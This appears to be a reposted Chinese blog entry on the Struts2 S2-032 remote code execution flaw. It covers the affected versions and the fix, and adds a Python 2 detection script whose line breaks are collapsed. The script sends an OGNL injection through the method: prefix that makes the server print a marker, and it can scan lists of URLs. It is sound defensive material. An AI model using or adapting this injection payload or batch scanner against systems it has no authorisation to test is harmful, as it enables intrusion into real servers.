Apache Struts2任意代码执行漏洞(S2-032)检测程序

来源:互联网 发布:office for mac破解 编辑:程序博客网 时间:2024/04/27 20:50

上个月写的一段代码,记录下来以供不时之需。

漏洞概况

2016年4月21日,Struts2官方发布两个安全公告(S2-031,S2-032),其中S2-032(CVE-2016-3081)官方评级为高。Apache Struts 2是世界上最流行的Java Web服务器框架之一。该漏洞的成因是用户开启动态方法调用(Dynamic Method Invocation)的情况下,攻击者能够使用method:前缀执行远程代码。值得一提的是该漏洞是由国内企业安恒信息的员工提交的。

漏洞影响

官方给出的受影响的Struts版本号区间为Struts 2.0.0 - Struts 2.3.28 (2.3.20.2 和 2.3.24.2版本不受影响)。

目前在互联网上已有多个版本的漏洞利用POC在互联网流传,分为命令执行版本与直接写入Web后门的版本。乌云、补天等漏洞报告平台已收到大量网站的相关漏洞报告,其中银行占了很大比例,此漏洞可能会在一段时间内在各行业造成大面积的恶劣影响。

解决方案

Struts官方给出的解决方案是禁用动态方法调用功能,或者升级到Struts 2.3.20.2,2.3.24.2或2.3.28.1。

修改Struts2的配置文件如下:将“struts.enable.DynamicMethodInvocation”的值设置为false,比如:

< constant name="struts.enable.DynamicMethodInvocation" value="false" / >;

2.3.28.1版本Struts下载地址:
https://struts.apache.org/download.cgi#struts23281。

上面的文字来自聚锋实验室微信公众号:

扫描关注聚锋实验室

检测程序

import sys,time,osimport requestsdef do_check(url):        url = url.strip()    if '?' in url:        url = url.split('?')[0]    poc3 = url + "?method:%23_memberAccess%3d%40ognl.OgnlContext+%40DEFAULT_MEMBER_ACCESS%2c%23k%3d+%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23k.print(56956116)%2c%23k.close"    try:        result = do_request(poc3)        if "56956116" in result:            vuls='!!!WARNING Vulnerable url: '+url            logfilename = os.path.dirname(os.path.realpath(__file__))+"/log.txt"            logfile = open(logfilename,"a")            logfile.write(vuls+"\n\r")            logfile.close()            print vuls        else:            print '...Not vulnerable: '+url    except Exception,e:        print edef do_request(exp,method="GET"):    response = None    if method == "GET":        response = requests.get(exp, timeout=10)     return response.contentdef main(path):    print "Checking Struts2 (S2-032) Remote Code Execution..."    cnt = 0    if 'http://' in path or 'https://' in path:        url=path        do_check(url)    else:        urlfile=open(path,'r')        for url in urlfile:            if url.strip():                cnt += 1                do_check(url)        urlfile.close()    output = os.path.dirname(os.path.realpath(__file__))+"/log.txt"    if os.path.exists(output):        print "Scanned urls: %d" % cnt        print "Output File: "+outputif __name__ == '__main__':    args = sys.argv    if len(args) != 2:        print "Usage: %s [url/file]" % args[0]        exit()    main(args[1])
0 0
原创粉丝点击